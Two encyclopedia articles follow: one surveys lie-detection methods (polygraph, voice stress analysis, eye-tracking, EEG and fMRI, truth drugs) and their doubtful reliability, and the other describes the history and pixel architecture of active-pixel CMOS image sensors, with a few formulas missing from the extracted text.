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https://en.wikipedia.org/wiki/Lie%20detection
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Lie detection
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Lie detection is an assessment of a verbal statement with the goal to reveal a possible intentional deceit. Lie detection may refer to a cognitive process of detecting deception by evaluating message content as well as non-verbal cues. It also may refer to questioning techniques used along with technology that record physiological functions to ascertain truth and falsehood in response. The latter is commonly used by law enforcement in the United States, but rarely in other countries because it is based on pseudoscience.
There are a wide variety of technologies available for this purpose. The most common and long used measure is the polygraph. A comprehensive 2003 review by the National Academy of Sciences of existing research concluded that there was "little basis for the expectation that a polygraph test could have extremely high accuracy." There is no evidence to substantiate that non-verbal lie detection, such as by looking at body language, is an effective way to detect lies, even if it is widely used by law enforcement.
General accuracy and limitations of assessment
The cumulative research evidence suggests that machines do detect deception better than chance, but with significant error rates and that strategies used to "beat" polygraph examinations, so-called countermeasures, may be effective. Despite unreliability, results are admissible in court in some countries, such as Japan. Lie detector results are very rarely admitted in evidence in the US courts.
In 1983 the U.S. Congress Office of Technology Assessment published a review of the technology and found:
"...there is at present only limited scientific evidence for establishing the validity of polygraph testing. Even where the evidence seems to indicate that polygraph testing detects deceptive subjects better than chance, significant error rates are possible, and examiner and examinee differences and the use of countermeasures may further affect validity."
In the 2007 peer-reviewed academic article "Charlatanry in forensic speech science", the authors reviewed 50 years of lie detector research and came to the conclusion that there is no scientific evidence supporting that voice analysis lie detectors actually work. Lie detector manufacturer Nemesysco threatened to sue the academic publisher for libel resulting in removal of the article from online databases. In a letter to the publisher, Nemesysco's lawyers wrote that the authors of the article could be sued for defamation if they wrote on the subject again.
Nevertheless, extraneous "noise" on the polygraph can come from embarrassment or anxiety and not be specific to lying. When subjects are aware of the assessment their resulting emotional response, especially anxiety, can impact the data. Additionally, psychological disorders can cause problems with data as certain disorders can lead a person to make a statement they believe to be truth but is actually a fabrication. As well as with all testing, the examiner can cause biases within the test with their interaction with the subject and interpretation of the data.
History
20th century
The study of physiological methods for deception tests measuring emotional disturbances began in the early 1900s. Vittorio Benussi was the first to work on practical deception tests based on physiological changes. He detected changes in inspiration-expiration ratio—findings confirmed by N.E. Burtt. Burtt conducted studies that emphasized the changes in quantitative systolic blood-pressure. William Moulton Marston studied blood-pressure and noted increase in systolic blood pressure of 10 mm Hg or over indicated guilt through using the tycos sphygmomanometer, with which he reported 90–100% accuracy. His studies used students and actual court cases. Then in 1913 W.M. Marston determined systolic blood-pressure by oscillatory methods and his findings cite definite changes in blood pressure during the deception of criminal suspects. In 1921, John Augustus Larson criticized Marston's intermittent blood pressure method because emotional changes were so brief they could be lost. To adjust for this he modified the Erlanger sphygmograph to give a continuous blood pressure and pulse curve and used it to study 4,000 criminals. In the 1990s, a team of scientists, Stanley Abrams, Jean M. Verdier and Oleg Maltsev developed a new methodology contributing six coefficients that positively affect the accuracy of the lie detector analysis results.
21st century
Two meta-analyses conducted by 2004 found an association between lying and increased pupil size and compressed lips. Liars may stay still more, use fewer hand gestures, and make less eye contact. Liars may take more time to answer questions but on the other hand, if they have had time to prepare, they may answer more quickly than people telling the truth would, and talk less, and repeat phrases more. They do not appear to be more fidgety, blink more, or have a less-relaxed posture.
Paul Ekman has used the Facial Action Coding System (FACS) and "when combined with voice and speech measures, [it] reaches detection accuracy rates of up to 90 percent." However, there is currently no evidence to support such a claim. It is currently being automated for use in law enforcement and is still being improved to increase accuracy. His studies use micro-expressions, which last less than one-fifth of a second, and "may leak emotions someone wants to conceal, such as anger or guilt." However, "signs of emotion aren't necessarily signs of guilt. An innocent person may be apprehensive and appear guilty," Ekman reminds us.
With regard to his studies, lies about emotions at the moment have the biggest payoff from face and voice cues while lies about beliefs and actions, such as crimes use cues from gestures and words are added. Ekman and his associates have validated many signs of deception, but do not publish all of them so as not to educate criminals
James Pennebaker uses the method of Linguistic Inquiry and Word Count (LIWC), published by Lawrence Erlbaum, to conduct an analysis of written content. He claims it has accuracy in predicting lying. Pennebaker cites his method as "significantly more effective than human judges in correctly identifying deceptive or truthful writing samples"; there is a 67% accuracy rate with his method, while trained people have 52% accuracy. There were five experimental procedures used in this study. Study 1–3 asked participants to speak, hand write or type a true or false statement about abortion. The participants were randomly assigned to tell a true or false statement. Study 4 focused on feelings about friends and study 5 had the students involved in a mock crime and asked to lie. Human judges were asked to rate the truthfulness of the 400 communications dealing with abortion. The judges read or watched the statement and gave it a yes or no answer about if this statement was false or not. LIWC correctly classified 67% of the abortion communications and the judges correctly classified 52%. His studies have identified that deception carries three primary written markers. The first is fewer first-person pronouns such as 'I', 'me', 'my', 'mine', and 'myself' (singular), as well as 'we', 'us', 'our', and 'ourselves' (plural). Those lying "avoid statements of ownership, distance themselves from their stories and avoid taking responsibility for their behavior" while also using more negative emotion words such as "hate, worthless and sad." Second, they use "few exclusionary words such as except, but or nor" when "distinguish[ing] what they did from what they did not do."
More recently evidence has been provided by the work of CA Morgan III and GA Hazlett that a computer analysis of cognitive interview derived speech content (i.e. response length and unique word count) provides a method for detecting deception that is both demonstrably better than professional judgments of professionals and useful at distinguishing between genuine and false adult claims of exposure to highly stressful, potentially traumatic events. This method shows particular promise as it is non confrontational as well as scientifically and cross culturally valid.
Questioning and testing techniques
There are typically three types of questions used in polygraph testing or voice stress analysis testing:
Irrelevant questions establish a baseline to compare other answers by asking simple questions with clear true and false answers.
Comparison questions have an indirect relationship to the event or circumstance, and they are designed to encourage the subject to lie.
Relevant questions are compared against comparison questions (which should represent false answers) and irrelevant questions (which should represent true answers). They are about whatever is particularly in question.
The control question test (CQT) uses control questions, with known answers, to serve as a physiological baseline in order to compare them with questions relevant to a particular incident. The control question should have a greater physiological response if truth was told and a lesser physiological response for lying. The guilty knowledge test (GKT) is a multiple-choice format in which answer choices or one correct answer and additional incorrect answers are read and the physiological response is recorded. The controls are the incorrect alternative answers. The greater physiological response should be to the correct answer. Its point is to determine if the subject has knowledge about a particular event.
In addition to the test skewing towards not finding people innocent, there are also issues where some offenders might have a greater physiological response to the control question than to the specific question, making it difficult to determine guilt using this method even when people are not using specific techniques to try and trick the test. Although the issues with the CQT false-positive and false-negative rates are discussed above, there are also methodological issues with how proponents of the CQT determine the accuracy of the test. Due to the fact that the accuracy of the CQT is often determined through whether an individual who is given the test provides the police a confession to a crime after the test is administered, this means that cases where someone was cleared of charges after taking a polygraph or, in a worse-case scenario, gives a false confession when they are actually innocent are not taken into account when it comes to determining the accuracy of the test. Another issue is that, due to how the CQT is administered and how the lie-detection process works, only people who are determined to be deceptive are further interrogated for a confession. This means that the polygraph outcome and the confession are not independent of one another, making it very difficult to use confessions as the sole determiner of the accuracy of the test. These methodological problems provide false evidence that supports the continued use of this test, despite the many flaws that the test possesses. While it could be said that including this test as a police tool is useful because it might sometimes provide accurate information, the probability of it causing undue hardship to people who are actually innocent, and wasting time in the process, makes this a very unreliable method for law enforcement officers to use.
Both are considered to be biased against those that are innocent, because the guilty who fear the consequences of being found out can be more motivated to cheat on the test. Various techniques (which can be found online) can teach individuals how to change the results of the tests, including curling the toes, and biting the tongue. Mental arithmetic was found to be ineffective by at least one study, especially in students counting backward by seven. A study has found that in the guilty knowledge test subjects can focusing on the alternative answers and make themselves look innocent.
Polygraph
Lie detection commonly involves the polygraph, and is used to test both styles of deception. It detects autonomic reactions, such as micro-expressions, breathing rate, skin conductivity, and heart rate. Micro-expressions are the brief and incomplete nonverbal changes in expression while the rest show an activation of the nervous system. These changes in body functions are not easily controlled by the conscious mind. They also may consider respiration rate, blood pressure, capillary dilation, and muscular movement. While taking a polygraph test the subject wears a blood pressure device to measure blood pressure fluctuations. Respiration is measured by wearing pneumographs around the chest, and finally electrodes are placed on the subject's fingers to measure skin conductivity. To determine truth it is assumed the subject will show more signs of fear when answering the control questions, known to the examiner, compared with the relevant questions, where the answers are not known. Polygraphs focus more on the exams predictive value of guilt by comparing the responses of the participant to control questions, irrelevant questions, and relevant questions to gauge arousal, which is then interpreted as a display of fear and deception is assumed. If a person is showing a deception there will be changes in the autonomic arousal responses to the relevant questions. Results are considered inconclusive if there is no fluctuation in any of the questions.
These measures are supposed to indicate a short-term stress response which can be from lying or significance to the subject. The problem becomes that they are also associated with mental effort and emotional state, so they can be influenced by fear, anger, and surprise for example. This technique may also be used with CQT and GKT.
United States government agencies, such as the Department of Defense, Homeland Security, Customs and Border Protection, and even the Department of Energy currently use polygraphs. They are regularly used by these agencies to screen employees.
Critics claim that "lie detection" by use of polygraphy has no scientific validity because it is not a scientific procedure. People have found ways to try and cheat the system, such as taking sedatives to reduce anxiety; using antiperspirant to prevent sweating; and positioning pins or biting parts of the mouth after each question to demonstrate a constant physiological response. As technology and research have developed many have moved away from polygraphing because of the drawbacks of this style of detection. Supporters of polygraphing claim it has a 70% accuracy rate, 16% better than lie detection in the general population. Someone who has failed the test is more likely to confess than someone who has passed, contributing to polygraph examiners not learning about mistakes they have made and thus improving.
Voice stress analysis
Voice stress analysis (also called voice risk analysis) uses computers to compare pitch, frequency, intensity and micro tremors. In this way voice analysis "detect[s] minute variations in the voice thought to signal lying." It can even be used covertly over the phone, and has been used by banking and insurance companies as well as the government of the United Kingdom. Customers are assessed for truth in certain situations by banks and insurance companies where computers are used to record responses. Software then compares control questions to relevant questions assessed for deception. However, its reliability has been debated by peer-reviewed journals. "When a person lies, an involuntary interference of the nerves causes the vocal cords to produce a distorted sound wave, namely a frequency level which is different from the one produced by the same person when telling the truth."
Several studies published in peer reviewed journals showed VSA to perform at chance level when it comes to detecting deception. Horvath, McCloughan, Weatherman, and Slowik, (2013), for example, tested VSA on the recordings of interrogation of 74 suspects. Eighteen of these suspects later confessed, making the deception the most likely ground truth. With 48% accurate classification, VSA performed at chance level. Several other studies showed similar results (Damphousse, 2008; Harnsberger, Hollien, Martin, & Hollien, 2009). In 2003, the National Research Council concluded "Overall, this research and the few controlled tests conducted over the past decade offer little or no scientific basis for the use of the computer voice stress analyser or similar voice measurement instruments."
Non-verbal behavior
People often evaluate lies based on non-verbal behavior, but are quick to place too much merit in misleading indicators, such as: avoidance of eye contact, increased pauses between statements, and excessive movements originating from the hands or feet.
Devices such as the Silent Talker Lie Detector monitor large numbers of microexpressions over time slots and encodes them into large vectors which are classified as showing truthful or deceptive behavior by artificial intelligence or statistical classifiers.
Dr. Alan Hirsch, from the department of Neurology and Psychiatry at the Rush Presbyterian-St. Luke's Medical Center in Chicago, explained the "Pinocchio Syndrome" or "Pinocchio effect" as: blood rushes to the nose when people lie. This extra blood may make the nose itchy. As a result, people who stretch the truth tend to either scratch their nose or touch it more often.
Eye-tracking
John Kircher, Doug Hacker, Anne Cook, Dan Woltz and David Raskin have developed eye-tracking technology at the University of Utah that they consider a polygraph alternative. This is not an emotional reaction like the polygraph and other methods but rather a cognitive reaction. This technology measures pupil dilation, response time, reading and rereading time, and errors. Data is recorded while subjects answer true or false questions on a computer.
They have found that more effort is required by lying than giving the truth and thus their aim is to find indications of hard work. Individuals not telling the truth might, for instance, have dilated pupils while also taking longer to answer the question.
Eye-tracking claims to offer several benefits over the polygraph: lower cost, 1/5th of the time to conduct, subjects do not need to be "hooked up" to anything, and it does not require qualified polygraph examiners to give the test. The technology has not been subject to peer review.
Brain observations
Cognitive chronometry, or the measurement of the time taken to perform mental operations, can be used to distinguish lying from truth-telling. One recent instrument using cognitive chronometry for this purpose is the timed antagonistic response alethiometer, or TARA.
Brain-reading uses fMRI and the multiple voxels activated in the brain evoked by a stimulus to determine what the brain has detected, and so whether it is familiar.
Functional near-infrared spectroscopy (fNRI) also detects oxygen and activity in the brain like the fMRI, but instead it looks at blood oxygen levels. It is advantageous to the fMRI because it is portable, however its image resolution is of lower quality than the fMRI.
As there are different styles of lying, a spontaneous or artificial deception is constructed based on a mixture of information already stored in semantic and episodic memory. It is isolated and easier to generate because it lacks cross-checking into the larger picture. This style contrasts memorized lies that aren't as rich in detail but are retrieved from memory. They often fit into an actual scenario to make recall easier.
Functional Transcranial Doppler (fTCD)
Recent developments that permit non-invasive monitoring using functional transcranial Doppler (fTCD) technique showed that successful problem-solving employs a discrete knowledge strategy (DKS) that selects neural pathways represented in one hemisphere, while unsuccessful outcome implicates a non-discrete knowledge strategy (nDKS). A polygraphic test could be viewed as a working memory task. This suggests that the DKS model may have a correlate in mnemonic operations. In other words, the DKS model may have a discrete knowledge base (DKB) of essential components needed for task resolution, while for nDKS, DKB is absent and, hence, a "global" or bi-hemispheric search occurs. Based on the latter premise, a 'lie detector' system was designed as described in . A pattern of blood-flow-velocity changes is obtained in response to questions that include correct and incorrect answers. The wrong answer will elicit bi-hemispheric activation, from correct answer that activates unilateral response. Cognitive polygraphy based on this system is devoid of any subjective control of mental processes and, hence, high reliability and specificity; however, this is yet to be tested in forensic practice. See also cognitive biometrics.
Event-related potentials (ERP)
Event-related potentials assess recognition, and therefore may or may not be effective in assessing deception. In ERP studies P3 amplitude waves are assessed, with these waves being large when an item is recognized.
However, P100 amplitudes have been observed to have significant correlation to trustworthiness ratings, the importance of which will be discussed in the EEG section. This, along with other studies leads some to purport that because ERP studies rely on quick perceptual processes they "are integral to the detection of deception."
Electroencephalography (EEG)
Electroencephalography, or EEG, measures brain activity through electrodes attached to the scalp of a subject. The object is to identify the recognition of meaningful data through this activity. Images or objects are shown to the subject while questioning techniques are implemented to determine recognition. This can include crime scene images, for example.
Perceived trustworthiness is interpreted by the individual from looking at a face, and this decreases when someone is lying. Such observations are "too subtle to be explicitly processed by observers, but [do] affect implicit cognitive and affective processes." These results, in a study by Heussen, Binkofski, and Jolij, were obtained through a study with an N400 paradigm including two conditions within the experiment: truthful faces and lying faces. Faces flashed for 100ms and then the participants rated them. However, the limitations of this study would be that it only had 15 participants and the mean age was 24.
Machine learning algorithms applied to EEG data have also been used to decode whether a subject believed or disbelieved a statement reaching ~90% accuracy. This work was an extension to work by Sam Harris and colleagues and further demonstrated that belief preceded disbelief in time, suggesting that the brain may initially accept statements as valid descriptions of the world (belief) prior to rejecting this notion (disbelief). Understanding how the brain assesses the veracity of a descriptive statement may be an important step in building neuroimaging based lie detection methods.
Functional magnetic resonance imaging (fMRI)
Functional magnetic resonance imaging looks to the central nervous system to compare time and topography of activity in the brain for lie detection. While a polygraph detects changes in activity in the peripheral nervous system, fMRI has the potential to catch the lie at the 'source'.
fMRIs use electromagnets to create pulse sequences in the cells of the brain. The fMRI scanner then detects the different pulses and fields that are used to distinguish tissue structures and the distinction between layers of the brain, matter type, and the ability to see growths. The functional component allows researchers to see activation in the brain over time and assess efficiency and connectivity by comparing blood use in the brain, which allows for the identification of which portions of the brain are using more oxygen, and thus being used during a specific task.
FMRI data have been examined through the lens of machine learning algorithms to decode whether subjects believed or disbelieved statements, ranging from mathematical, semantic to religious belief statements.
Historically, fMRI lie detector tests have not been allowed into evidence in legal proceedings, the most famous attempt being Harvey Nathan's insurance fraud case in 2007. The lack of legal support has not stopped companies like No Lie MRI and CEPHOS from offering private fMRI scans to test deception.
While fMRI studies on deception have claimed detection accuracy as high as 90% many have problems with implementing this style of detection. Only yes or no answers can be used which allows for flexibility in the truth and style of lying. Some people are unable to take one such as those with medical conditions, claustrophobia, or implants.
Drugs
Truth drugs such as sodium thiopental, ethanol, and cannabis (historically speaking) are used for the purposes of obtaining accurate information from an unwilling subject. Information obtained by publicly disclosed truth drugs has been shown to be highly unreliable, with subjects apparently freely mixing fact and fantasy. Much of the claimed effect relies on the belief of the subjects that they cannot tell a lie while under the influence of the drug.
See also
Ecological fallacy
Forensics in antiquity
Thought identification
Voice risk analysis
Deception
References
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5067528
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https://en.wikipedia.org/wiki/Active-pixel%20sensor
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Active-pixel sensor
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An active-pixel sensor (APS) is an image sensor, which was invented by Peter J.W. Noble in 1968, where each pixel sensor unit cell has a photodetector (typically a pinned photodiode) and one or more active transistors. In a metal–oxide–semiconductor (MOS) active-pixel sensor, MOS field-effect transistors (MOSFETs) are used as amplifiers. There are different types of APS, including the early NMOS APS and the now much more common complementary MOS (CMOS) APS, also known as the CMOS sensor. CMOS sensors are used in digital camera technologies such as cell phone cameras, web cameras, most modern digital pocket cameras, most digital single-lens reflex cameras (DSLRs), mirrorless interchangeable-lens cameras (MILCs), and lensless imaging for cells.
CMOS sensors emerged as an alternative to charge-coupled device (CCD) image sensors and eventually outsold them by the mid-2000s.
The term active pixel sensor is also used to refer to the individual pixel sensor itself, as opposed to the image sensor. In this case, the image sensor is sometimes called an active pixel sensor imager, or active-pixel image sensor.
History
Background
While researching metal–oxide–semiconductor (MOS) technology, Willard Boyle and George E. Smith realized that an electric charge could be stored on a tiny MOS capacitor, which became the basic building block of the charge-couple device (CCD), which they invented in 1969. An issue with CCD technology was its need for nearly perfect charge transfer in read out, which, "makes their radiation [tolerance?] 'soft', difficult to use under low light conditions, difficult to manufacture in large array sizes, difficult to integrate with on-chip electronics, difficult to use at low temperatures, difficult to use at high frame rates, and difficult to manufacture in non-silicon materials that extend wavelength response."
At RCA Laboratories, a research team including Paul K. Weimer, W.S. Pike and G. Sadasiv in 1969 proposed a solid-state image sensor with scanning circuits using thin-film transistors (TFTs), with photoconductive film used for the photodetector. A low-resolution "mostly digital" N-channel MOSFET (NMOS) imager with intra-pixel amplification, for an optical mouse application, was demonstrated by Richard F. Lyon in 1981. Another type of image sensor technology that is related to the APS is the hybrid infrared focal plane array (IRFPA), designed to operate at cryogenic temperatures in the infrared spectrum. The devices are two chips that are put together like a sandwich: one chip contains detector elements made in InGaAs or HgCdTe, and the other chip is typically made of silicon and is used to read out the photodetectors. The exact date of origin of these devices is classified, but they were in use by the mid-1980s.
A key element of the modern CMOS sensor is the pinned photodiode (PPD). It was invented by Nobukazu Teranishi, Hiromitsu Shiraki and Yasuo Ishihara at NEC in 1980, and then publicly reported by Teranishi and Ishihara with A. Kohono, E. Oda and K. Arai in 1982, with the addition of an anti-blooming structure. The pinned photodiode is a photodetector structure with low lag, low noise, high quantum efficiency and low dark current. The new photodetector structure invented at NEC was given the name "pinned photodiode" (PPD) by B.C. Burkey at Kodak in 1984. In 1987, the PPD began to be incorporated into most CCD sensors, becoming a fixture in consumer electronic video cameras and then digital still cameras. Since then, the PPD has been used in nearly all CCD sensors and then CMOS sensors.
Passive-pixel sensor
The precursor to the APS was the passive-pixel sensor (PPS), a type of photodiode array (PDA). A passive-pixel sensor consists of passive pixels which are read out without amplification, with each pixel consisting of a photodiode and a MOSFET switch. In a photodiode array, pixels contain a p-n junction, integrated capacitor, and MOSFETs as selection transistors. A photodiode array was proposed by G. Weckler in 1968, predating the CCD. This was the basis for the PPS, which had image sensor elements with in-pixel selection transistors, proposed by Peter J.W. Noble in 1968, and by Savvas G. Chamberlain in 1969.
Passive-pixel sensors were being investigated as a solid-state alternative to vacuum-tube imaging devices. The MOS passive-pixel sensor used just a simple switch in the pixel to read out the photodiode integrated charge. Pixels were arrayed in a two-dimensional structure, with an access enable wire shared by pixels in the same row, and output wire shared by column. At the end of each column was a transistor. Passive-pixel sensors suffered from many limitations, such as high noise, slow readout, and lack of scalability. Early (1960s–1970s) photodiode arrays with selection transistors within each pixel, along with on-chip multiplexer circuits, were impractically large. The noise of photodiode arrays was also a limitation to performance, as the photodiode readout bus capacitance resulted in increased read-noise level. Correlated double sampling (CDS) could also not be used with a photodiode array without external memory. It was not possible to fabricate active-pixel sensors with a practical pixel size in the 1970s, due to limited microlithography technology at the time. Because the MOS process was so variable and MOS transistors had characteristics that changed over time (Vth instability), the CCD's charge-domain operation was more manufacturable and higher performance than MOS passive-pixel sensors.
Active-pixel sensor
The active-pixel sensor consists of active pixels, each containing one or more MOSFET amplifiers which convert the photo-generated charge to a voltage, amplify the signal voltage, and reduce noise. The concept of an active-pixel device was proposed by Peter Noble in 1968. He created sensor arrays with active MOS readout amplifiers per pixel, in essentially the modern three-transistor configuration: the buried photodiode-structure, selection transistor and MOS amplifier.
The MOS active-pixel concept was implemented as the charge modulation device (CMD) by Olympus in Japan during the mid-1980s. This was enabled by advances in MOSFET semiconductor device fabrication, with MOSFET scaling reaching smaller micron and then sub-micron levels during the 1980s to early 1990s. The first MOS APS was fabricated by Tsutomu Nakamura's team at Olympus in 1985. The term active pixel sensor (APS) was coined by Nakamura while working on the CMD active-pixel sensor at Olympus. The CMD imager had a vertical APS structure, which increases fill-factor (or reduces pixel size) by storing the signal charge under an output NMOS transistor. Other Japanese semiconductor companies soon followed with their own active pixel sensors during the late 1980s to early 1990s. Between 1988 and 1991, Toshiba developed the "double-gate floating surface transistor" sensor, which had a lateral APS structure, with each pixel containing a buried-channel MOS photogate and a PMOS output amplifier. Between 1989 and 1992, Canon developed the base-stored image sensor (BASIS), which used a vertical APS structure similar to the Olympus sensor, but with bipolar transistors rather than MOSFETs.
In the early 1990s, American companies began developing practical MOS active pixel sensors. In 1991, Texas Instruments developed the bulk CMD (BCMD) sensor, which was fabricated at the company's Japanese branch and had a vertical APS structure similar to the Olympus CMD sensor, but was more complex and used PMOS rather than NMOS transistors.
CMOS sensor
By the late 1980s to early 1990s, the CMOS process was well-established as a well-controlled stable semiconductor manufacturing process and was the baseline process for almost all logic and microprocessors. There was a resurgence in the use of passive-pixel sensors for low-end imaging applications, while active-pixel sensors began being used for low-resolution high-function applications such as retina simulation and high-energy particle detectors. However, CCDs continued to have much lower temporal noise and fixed-pattern noise and were the dominant technology for consumer applications such as camcorders as well as for broadcast cameras, where they were displacing video camera tubes.
In 1993, the first practical APS to be successfully fabricated outside of Japan was developed at NASA's Jet Propulsion Laboratory (JPL), which fabricated a CMOS compatible APS. It had a lateral APS structure similar to the Toshiba sensor, but was fabricated with CMOS rather than PMOS transistors. It was the first CMOS sensor with intra-pixel charge transfer.
Photobit's CMOS sensors found their way into webcams manufactured by Logitech and Intel, before Photobit was purchased by Micron Technology in 2001. The early CMOS sensor market was initially led by American manufacturers such as Micron, and Omnivision, allowing the United States to briefly recapture a portion of the overall image sensor market from Japan, before the CMOS sensor market eventually came to be dominated by Japan, South Korea and China. The CMOS sensor with PPD technology was further advanced and refined by R. M. Guidash in 1997, K. Yonemoto and H. Sumi in 2000, and I. Inoue in 2003. This led to CMOS sensors achieve imaging performance on par with CCD sensors, and later exceeding CCD sensors.
By 2000, CMOS sensors were used in a variety of applications, including low-cost cameras, PC cameras, fax, multimedia, security, surveillance, and videophones.
The video industry switched to CMOS cameras with the advent of high-definition video (HD video), as the large number of pixels would require significantly higher power consumption with CCD sensors, which would overheat and drain batteries. Sony in 2007 commercialized CMOS sensors with an original column A/D conversion circuit, for fast, low-noise performance, followed in 2009 by the CMOS back-illuminated sensor (BI sensor), with twice the sensitivity of conventional image sensors.
CMOS sensors went on to have a significant cultural impact, leading to the mass proliferation of digital cameras and camera phones, which bolstered the rise of social media and selfie culture, and impacted social and political movements around the world. By 2007, sales of CMOS active-pixel sensors had surpassed CCD sensors, with CMOS sensors accounting for 54% of the global image sensor market at the time. By 2012, CMOS sensors increased their share to 74% of the market. As of 2017, CMOS sensors account for 89% of global image sensor sales. In recent years, the CMOS sensor technology has spread to medium-format photography with Phase One being the first to launch a medium format digital back with a Sony-built CMOS sensor.
In 2012, Sony introduced the stacked CMOS BI sensor. There have been several research activities ongoing in the field of image sensors. One of them is the quanta image sensor (QIS), which might be a paradigm shift in the way we collect images in a camera. In the QIS, the goal is to count every photon that strikes the image sensor, and to provide resolution of less than 1 million to 1 billion or more specialized photoelements (called jots) per sensor, and to read out jot bit planes hundreds or thousands of times per second resulting in terabits/sec of data. The QIS idea is in its infancy and may never become reality due to the non necessary complexity that is needed to capture an image
Boyd Fowler of OmniVision is known for his work in CMOS image sensor development. His contributions include the first digital-pixel CMOS image sensor in 1994; the first scientific linear CMOS image sensor with single-electron RMS read noise in 2003; the first multi-megapixel scientific area CMOS image sensor with simultaneous high dynamic range (86 dB), fast readout (100 frames/second) and ultra-low read noise (1.2e- RMS) (sCMOS) in 2010. He also patented the first CMOS image sensor for inter-oral dental X-rays with clipped corners for better patient comfort.
By the late 2010s CMOS sensors had largely if not completely replaced CCD sensors, as CMOS sensors can not only be made in existing semiconductor production lines, reducing costs, but they also consume less power, just to name a few advantages. (see below)
HV-CMOS
HV-CMOS devices are a specialty case of ordinary CMOS sensors used in high-voltage applications (for detection of high energy particles) like CERN Large Hadron Collider where a high-breakdown voltage up to ~30-120V is necessary. Such devices are not used for high-voltage switching though. HV-CMOS are typically implemented by ~10 µm deep n-doped depletion zone (n-well) of a transistor on a p-type wafer substrate.
Comparison to CCDs
APS pixels solve the speed and scalability issues of the passive-pixel sensor. They generally consume less power than CCDs, have less image lag, and require less specialized manufacturing facilities. Unlike CCDs, APS sensors can combine the image sensor function and image processing functions within the same integrated circuit. APS sensors have found markets in many consumer applications, especially camera phones. They have also been used in other fields including digital radiography, military ultra high speed image acquisition, security cameras, and optical mice. Manufacturers include Aptina Imaging (independent spinout from Micron Technology, who purchased Photobit in 2001), Canon, Samsung, STMicroelectronics, Toshiba, OmniVision Technologies, Sony, and Foveon, among others. CMOS-type APS sensors are typically suited to applications in which packaging, power management, and on-chip processing are important. CMOS type sensors are widely used, from high-end digital photography down to mobile-phone cameras.
Advantages of CMOS compared with CCD
A primary advantage of a CMOS sensor is that it is typically less expensive to produce than a CCD sensor, as the image capturing and image sensing elements can be combined onto the same IC, with simpler construction required.
A CMOS sensor also typically has better control of blooming (that is, of bleeding of photo-charge from an over-exposed pixel into other nearby pixels).
In three-sensor camera systems that use separate sensors to resolve the red, green, and blue components of the image in conjunction with beam splitter prisms, the three CMOS sensors can be identical, whereas most splitter prisms require that one of the CCD sensors has to be a mirror image of the other two to read out the image in a compatible order. Unlike CCD sensors, CMOS sensors have the ability to reverse the addressing of the sensor elements. CMOS Sensors with a film speed of ISO 4 million exist.
Disadvantages of CMOS compared with CCD
Since a CMOS sensor typically captures a row at a time within approximately 1/60 or 1/50 of a second (depending on refresh rate) it may result in a "rolling shutter" effect, where the image is skewed (tilted to the left or right, depending on the direction of camera or subject movement). For example, when tracking a car moving at high speed, the car will not be distorted but the background will appear to be tilted. A frame-transfer CCD sensor or "global shutter" CMOS sensor does not have this problem; instead it captures the entire image at once into a frame store.
A long-standing advantage of CCD sensors has been their capability for capturing images with lower noise. With improvements in CMOS technology, this advantage has closed as of 2020, with modern CMOS sensors available capable of outperforming CCD sensors.
The active circuitry in CMOS pixels takes some area on the surface which is not light-sensitive, reducing the photon-detection efficiency of the device (microlenses and back-illuminated sensors can mitigate this problem). But the frame-transfer CCD also has about half the non-sensitive area for the frame store nodes, so the relative advantages depend on which types of sensors are being compared.
Architecture
Pixel
The standard CMOS APS pixel consists of a photodetector (pinned photodiode), a floating diffusion, and the so-called 4T cell consisting of four CMOS (complementary metal–oxide–semiconductor) transistors, including a transfer gate, reset gate, selection gate and source-follower readout transistor. The pinned photodiode was originally used in interline transfer CCDs due to its low dark current and good blue response, and when coupled with the transfer gate, allows complete charge transfer from the pinned photodiode to the floating diffusion (which is further connected to the gate of the read-out transistor) eliminating lag. The use of intrapixel charge transfer can offer lower noise by enabling the use of correlated double sampling (CDS). The Noble 3T pixel is still sometimes used since the fabrication requirements are less complex. The 3T pixel comprises the same elements as the 4T pixel except the transfer gate and the photodiode. The reset transistor, Mrst, acts as a switch to reset the floating diffusion to VRST, which in this case is represented as the gate of the Msf transistor. When the reset transistor is turned on, the photodiode is effectively connected to the power supply, VRST, clearing all integrated charge. Since the reset transistor is n-type, the pixel operates in soft reset. The read-out transistor, Msf, acts as a buffer (specifically, a source follower), an amplifier which allows the pixel voltage to be observed without removing the accumulated charge. Its power supply, VDD, is typically tied to the power supply of the reset transistor VRST. The select transistor, Msel, allows a single row of the pixel array to be read by the read-out electronics. Other innovations of the pixels such as 5T and 6T pixels also exist. By adding extra transistors, functions such as global shutter, as opposed to the more common rolling shutter, are possible. In order to increase the pixel densities, shared-row, four-ways and eight-ways shared read out, and other architectures can be employed. A variant of the 3T active pixel is the Foveon X3 sensor invented by Dick Merrill. In this device, three photodiodes are stacked on top of each other using planar fabrication techniques, each photodiode having its own 3T circuit. Each successive layer acts as a filter for the layer below it shifting the spectrum of absorbed light in successive layers. By deconvolving the response of each layered detector, red, green, and blue signals can be reconstructed.
Array
A typical two-dimensional array of pixels is organized into rows and columns. Pixels in a given row share reset lines, so that a whole row is reset at a time. The row select lines of each pixel in a row are tied together as well. The outputs of each pixel in any given column are tied together. Since only one row is selected at a given time, no competition for the output line occurs. Further amplifier circuitry is typically on a column basis.
Size
The size of the pixel sensor is often given in height and width, but also in the optical format.
Lateral and vertical structures
There are two types of active-pixel sensor (APS) structures, the lateral APS and vertical APS. Eric Fossum defines the lateral APS as follows:
Fossum defines the vertical APS as follows:
Thin-film transistors
For applications such as large-area digital X-ray imaging, thin-film transistors (TFTs) can also be used in APS architecture. However, because of the larger size and lower transconductance gain of TFTs compared with CMOS transistors, it is necessary to have fewer on-pixel TFTs to maintain image resolution and quality at an acceptable level. A two-transistor APS/PPS architecture has been shown to be promising for APS using amorphous silicon TFTs. In the two-transistor APS architecture on the right, TAMP is used as a switched-amplifier integrating functions of both Msf and Msel in the three-transistor APS. This results in reduced transistor counts per pixel, as well as increased pixel transconductance gain. Here, Cpix is the pixel storage capacitance, and it is also used to capacitively couple the addressing pulse of the "Read" to the gate of TAMP for ON-OFF switching. Such pixel readout circuits work best with low capacitance photoconductor detectors such as amorphous selenium.
Design variants
Many different pixel designs have been proposed and fabricated. The standard pixel uses the fewest wires and the fewest, most tightly packed transistors possible for an active pixel. It is important that the active circuitry in a pixel take up as little space as possible to allow more room for the photodetector. High transistor count hurts fill factor, that is, the percentage of the pixel area that is sensitive to light. Pixel size can be traded for desirable qualities such as noise reduction or reduced image lag. Noise is a measure of the accuracy with which the incident light can be measured. Lag occurs when traces of a previous frame remain in future frames, i.e. the pixel is not fully reset. The voltage noise variance in a soft-reset (gate-voltage regulated) pixel is , but image lag and fixed pattern noise may be problematic. In rms electrons, the noise is .
